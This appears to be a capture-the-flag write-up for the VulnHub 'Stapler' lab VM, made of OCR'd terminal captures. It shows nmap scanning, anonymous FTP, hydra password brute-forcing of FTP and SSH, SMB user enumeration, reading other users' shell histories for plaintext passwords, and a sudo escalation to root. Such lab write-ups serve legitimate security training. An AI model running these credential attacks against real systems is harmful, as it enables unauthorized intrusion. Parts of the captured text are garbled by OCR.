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## Summary

Stapler is an Ubuntu server with multiple services running. This walkthrough will discuss how three of the services were enumerated in order to gain root access to the machine. The services accessed were FTP, SMB, and SSH. The only vulnerabilities exploited was weak user credentials and poor use of strong credentials.

# **Recon/Scanning**

netdiscover of my private range to find host

nmap for services and OS detection:

```
root@localhost: ~/Documents/VulnHub/Stapler
    localhost:~/Documents/VulnHub/Stapler# nmap -0 192.168.15.151
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-12 15:20 CDT
Nmap scan report for 192.168.15.151
Host is up (0.00061s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open
               ftp
22/tcp open
               ssh
53/tcp open
               domain
80/tcp open
               http
139/tcp open
               netbios-ssn
666/tcp open doom
3306/tcp open mysql
MAC Address: 00:0C:29:C7:C7:FE (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux kernel:3 cpe:/o:linux:linux kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.67 seconds
         lhost:~/Documents/VulnHub/Stapler#
```

```
root@localhost: ~/Documents/VulnHub/Stapler
                                                                                  File Edit View Search Terminal Help
                                                                                 [64/65]
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-12 15:11 CDT
Nmap scan report for 192.168.15.151
Host is up (0.00066s latency).
Not shown: 992 filtered ports
        STATE SERVICE
PORT
                            VERSION
20/tcp closed ftp-data
21/tcp open ftp
                            vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| Can't get directory listing: PASV failed: 550 Permission denied.
    STAT:
  FTP server status:
       Connected to 192.168.15.141
       Logged in as ftp
       TYPE: ASCII
       No session bandwidth limit
       Session timeout in seconds is 300
       Control connection is plain text
       Data connections will be plain text
       At session startup, client count was 5
       vsFTPd 3.0.3 - secure, fast, stable
 End of status
                            OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
22/tcp open
                ssh
 ssh-hostkey:
    2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
    256 5b:a5:bb:67:91:la:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
    256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (EdDSA)
53/tcp
        open domain
                            dnsmasq 2.75
 dns-nsid:
    bind.version: dnsmasq-2.75
                            PHP cli server 5.5 or later
80/tcp
         open http
| http-title: 404 Not Found
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
  fingerprint-strings:
    NULL:
      message2.jpgUT
      QWux
      "DL[E
      #;3[
      \xf6
      u([r
      qYQq
      Y ?n2
      3&M~{
      9-a)T
      L}AJ
      .npy.9
                            MySQL 5.7.12-0ubuntu1
3306/tcp open
                mysql
| mysql-info: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please
submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.60%I=7%D=4/12%Time=5ACFBD97%P=x86 64-pc-linux-gnu%r(NUL
SF:L,15A8,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x1
```

```
root@localhost: ~/Documents/VulnHub/Stapler
                                                                                   File Edit View Search Terminal Help
SF:f4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\x
SF:dc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd
SF:5\x1dx\xa20\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xa
SF:f\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:
SF:\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\
SF:x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\
SF:xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xfd
SF:\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb90\xf5\xe3\xcc\
SF:x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0\
SF:xf1\xc3\x840\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\
SF:xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaak
SF:\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy\
SF:xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7f
SF:\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb\
SF:[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\] \xf9\x
SF:cc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa
SF:7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81\
SF:xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x9
SF:6\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8f
SF:\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf4
SF:\xed\xe3v\x130\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd\
SF:x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\xb
SF:cL}AJ\xe5H\x912\x88\(0\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0
SF:\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfb0g\xed\xf6\x15\x04\
SF:xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\x
SF:f3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11\
SF:?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 00:0C:29:C7:C7:FE (VMware)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
 nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  smb-os-discovery:
    OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
    Computer name: red
    NetBIOS computer name: RED\x00
    Domain name: \x00
    FQDN: red
    System time: 2018-04-12T21:12:19+01:00
  smb-security-mode:
    account used: guest
    authentication level: user
    challenge response: supported
    message signing: disabled (dangerous, but default)
  smb2-security-mode:
    2.02:
     Message signing enabled but not required
  smb2-time:
    date: 2018-04-12 15:12:19
    start date: 1600-12-31 17:20:00
Service detection performed. Please report any incorrect results at https://nmap.org/su
bmit/
Nmap done: 1 IP address (1 host up) scanned in 171.06 seconds
     .ocalhost:~/Documents/VulnHub/Stapler# nmap -sV -sC 192.168.15.151
```

### **FTP**

FTP anonymous access:

```
root@localhost: ~/Documents/VulnHub/Stapler
                                                                                                File Edit View Search Terminal Help
          Lhost:~/Documents/VulnHub/Stapler# ftp 192.168.15.151 21
Connected to 192.168.15.151.
220-
220-1:
220-| Harry, make sure to update the banner when you get a chance to show who has access here
220-
220
Name (192.168.15.151:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
                              2:nmap 0 3:ftp*
```

Right away we get a user Harry

```
root@localhost: ~/Documents/VulnHub/Stapler
                                                                                                 _
                                                                                                     ×
File Edit View Search Terminal Help
Connected to 192.168.15.151.
220-
220-|-
220-| Harry, make sure to update the banner when you get a chance to show who has access here
220-|-----
220-
220
Name (192.168.15.151:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0
                      Θ
                                   107 Jun 03 2016 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.00 secs (197.5278 kB/s)
ftp> bye
221 Goodbye.
            st:~/Documents/VulnHub/Stapler# ls
note
     ocalhost:~/Documents/VulnHub/Stapler# cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
       calhost:~/Documents/VulnHub/Stapler#
```

Retrieve the file called "note" and we get two more users, "Elly" and "John"

#### FTP Credential Audit:

Create a user list w/ capital and lowercase usernames.

Use hydra to bruteforce a null/same-as-username/reverse-username password audit on FTP.

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
              st:~/Documents/VulnHub/Stapler/ftp# cat users
Harry
harrý
Elly
ellý
John
        calhost:~/Documents/VulnHub/Stapler/ftp# hydra -L users -e nsr ftp://192.168.15.151
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-17 17:02:44
[DATA] max 16 tasks per 1 server, overall 16 tasks, 18 login tries (l:6/p:3), ~2 tries per task [DATA] attacking ftp://192.168.15.151:21/
[21][ftp] host: 192.168.15.151 login: elly password: ylle
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2018-04-17 17:02:48
               t:~/Documents/VulnHub/Stapler/ftp#
```

User "elly" used the password "ylle" on FTP.

Lots of files in their FTP directory.

```
root@localhost: ~/Documents/VulnHub/Stapler
                                                                                              0
File Edit View Search Terminal Help
             t:~/Documents/VulnHub/Stapler/ftp/elly# ftp 192.168.15.151
Connected to 192.168.15.151.
220-
220-|-
220-| Harry, make sure to update the banner when you get a chance to show who has access here
220-|--
220-
220
Name (192.168.15.151:root): elly
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x
             5 0
                                       4096 Jun 03
                                                    2016 X11
drwxr-xr-x
              3 0
                         Θ
                                       4096 Jun 03
                                                    2016 acpi
-rw-r--r--
              1 0
                         Θ
                                       3028 Apr 20
                                                    2016 adduser.conf
-rw-r--r--
              1 0
                         0
                                        51 Jun 03
                                                    2016 aliases
-rw-r--r--
              1 0
                         Θ
                                      12288 Jun 03
                                                    2016 aliases.db
drwxr-xr-x
              2 0
                                       4096 Jun 07
                         Θ
                                                    2016 alternatives
drwxr-xr-x
              8 0
                         Θ
                                       4096 Jun 03
                                                    2016 apache2
                         Θ
drwxr-xr-x
              3 0
                                       4096 Jun 03
                                                    2016 apparmor
drwxr-xr-x
              9 0
                         0
                                       4096 Jun 06 2016 apparmor.d
```

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
             t:~/Documents/VulnHub/Stapler/ftp/elly# ftp 192.168.15.151
Connected to 192.168.15.151.
220-
220 - I - -
220-| Harry, make sure to update the banner when you get a chance to show who has access here
220-|-----
220-
220
Name (192.168.15.151:root): elly
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get passwd
local: passwd remote: passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for passwd (2908 bytes).
226 Transfer complete.
2908 bytes received in 0.00 secs (2.4095 MB/s)
ftp> exit
221 Goodbye.
             t:~/Documents/VulnHub/Stapler/ftp/elly# cat passwd
root:x:0:0:root:/root:/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Pr<mark>o</mark>xy,,,:/run/systemd:/bin/false
```

... and the file appears to be a copy of /etc/passwd

#### SSH Credential Audit

Use awk to parse out a list of users that can log in with /bin/bash

```
root@localhost: ~/Documents/VulnHub/Stapler
                                                                                                          File Edit View Search Terminal Help
       calhost:~/Documents/VulnHub/Stapler/ftp/elly# awk -F':' '/\/bin\/bash/{print $1}' passwd
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
MFrei
SStroud
JKanode
CJoo
Drew
jess
SHAY
mel
zoe
NATHAN
elly
       ocalhost:~/Documents/VulnHub/Stapler/ftp/elly# awk -F':' '/\/bin\/bash/{print $1}' passwd > users
```

Use hydra and this user list to audit weak ssh credentials

```
root@localhost: ~/Documents/VulnHub/Stapler

File Edit View Search Terminal Help

root@localhost: ~/Documents/VulnHub/Stapler/ftp/elly# hydra -L users -e nsr ssh://192.168.15.151

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-17 17:15:37

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 57 login tries (l:19/p:3), ~4 tries per task

[DATA] attacking ssh://192.168.15.151 login: SHayslett password: SHayslett

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2018-04-17 17:16:00

root@localhost:~/Documents/VulnHub/Stapler/ftp/elly#

[0] 0:bash**

*localhost.localdomain* 17:16 17-Apr-18
```

And user "SHayslett" is using their username as their password.

### **SMB**

Using SMB to gain a list of local users enum4linux can bruteforce SIDs to discover local user accounts

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
      calhost:~/Documents/VulnHub/Stapler/smb# enum4linux -r 192.168.15.151
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Apr 17 18:04:58 2018
  Target Information
Target ......... 192.168.15.151
RID Range ..... 500-550,1000-1050
Username .....''
Password .....''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
______
   Enumerating Workgroup/Domain on 192.168.15.151
[+] Got domain/workgroup name: WORKGROUP
   Session Check on 192.168.15.151
_____
[+] Server 192.168.15.151 allows sessions using username '', password ''
  Getting domain SID for 192.168.15.151
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
-----
```

```
File Edit View Search Terminal Help

[+] Enumerating Users using SID S-1-22-1 and logon username '', password ''

5-1-22-1-1000 Unix User peter (Local User)

5-1-22-1-1001 Unix User Peter (Local User)

5-1-22-1-1003 Unix User File Tollefson (Local User)

5-1-22-1-1003 Unix User (Brollefson (Local User)

5-1-22-1-1004 Unix User (Brollefson (Local User)

5-1-22-1-1005 Unix User (Brollefson (Local User)

5-1-22-1-1006 Unix User (Brollefson (Local User)

5-1-22-1-1007 Unix User (Brollefson (Local User)

5-1-22-1-1008 Unix User (Local User)

5-1-22-1-1010 Unix User (Local User)

5-1-22-1-1011 Unix User (Stroud (Local User)

5-1-22-1-1012 Unix User (Stroud (Local User)

5-1-22-1-1013 Unix User (Local User)

5-1-22-1-1015 Unix User (Local User)

5-1-22-1-1015 Unix User (Local User)

5-1-22-1-1016 Unix User (Local User)

5-1-22-1-1017 Unix User (Local User)

5-1-22-1-1018 Unix User (Local User)

5-1-22-1-1019 Unix User (Local User)

5-1-22-1-1019 Unix User (Local User)

5-1-22-1-1019 Unix User (Local User)

5-1-22-1-1020 Unix User (Local User)

5-1-22-1-1021 Unix User (Local User)

5-1-22-1-1021 Unix User (Local User)

5-1-22-1-1022 Unix User (Local User)

5-1-22-1-1024 Unix User (Local User)

5-1-22-1-1025 Unix User (Local User)

5-1-22-1-1025 Unix User (Local User)

5-1-22-1-1026 Unix User (Local User)

5-1-22-1-1027 Unix User (Local User)

5-1-22-1-1028 Unix User (Local User)
```

#### Parse this list with awk and cut to get a list of user accounts

```
root@localhost: ~/Documents/VulnHub/Stapler
                                                                                                                        0
 File Edit View Search Terminal Help
               :~/Documents/VulnHub/Stapler/smb# awk -F'\' '/Local User/{print $2}' enumUsers
nobody (Local User)
peter (Local User)
RNunemaker (Local User)
ETollefson (Local User)
DSwanger (Local User)
AParnell (Local User)
SHayslett (Local User)
MBassin (Local User)
JBare (Local User)
LSolum (Local User)
IChadwick (Local User)
MFrei (Local User)
SStroud (Local User)
CCeaser (Local User)
JKanode (Local User)
CJoo (Local User)
Eeth (Local User)
LSolum2 (Local User)
JLipps (Local User)
jamie (Local User)
Sam (Local User)
Drew (Local User)
jess (Local User)
SHAY (Local User)
Taylor (Local User)
mel (Local User)
kai (Local User)
zoe (Local User)
NATHAN (Local User)
www (Local User)
elly (Local User)
         alhost:~/Documents/VulnHub/Stapler/smb#
```

```
root@localhost: ~/Documents/VulnHub/Stapler
                                                                                                                                          0
 File Edit View Search Terminal Help
          alhost:~/Documents/VulnHub/Stapler/smb# awk -F'\' '/Local User/{print $2}' enumUsers | cut -d' ' -f1
nobody
peter
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
IChadwick
MFrei
SStroud
CCeaser
JKanode
CJoo
Eeth
LSolum2
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
      .
cocalhost:~/Documents/VulnHub/Stapler/smb# awk -F'\' '/Local User/{print $2}' enumUsers | cut -d' ' -f1 > localUsers
cocalhost:~/Documents/VulnHub/Stapler/smb#
```

#### SSH Credential Audit

Use hydra with this user list for the same result as the list from /etc/passwd

### SSH

Not very many files in user directories – both this and other accounts.

However, we are able to read the .bash\_history file of other users...

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
SHayslett@red:~$ cat /home/*/.bash history
                                                         [25/2506]
exit
free
exit
exit
exit
exit
exit
exit
exit
exit
top
ps aux
exit
exit
exit
id
whoami
ls -lah
pwd
ps aux
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
```

Two credentials in plaintext

## **Privilege Escalation**

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root@localhost: ~/Documents/VulnHub/Stapler _ _ _ x

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red% sudo -l

Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin

User peter may run the following commands on red:
    (ALL: ALL) ALL

red% sudo su
    → SHayslett id

uid=0(root) qid=0(root) groups=0(root)

→ SHayslett

[6] 0:/home/SHayslett* "localhost.localdomain" 18:27 17-Apr-18
```

User "peter" can sudo any command sudo su returns a root shell in exchange for peter's password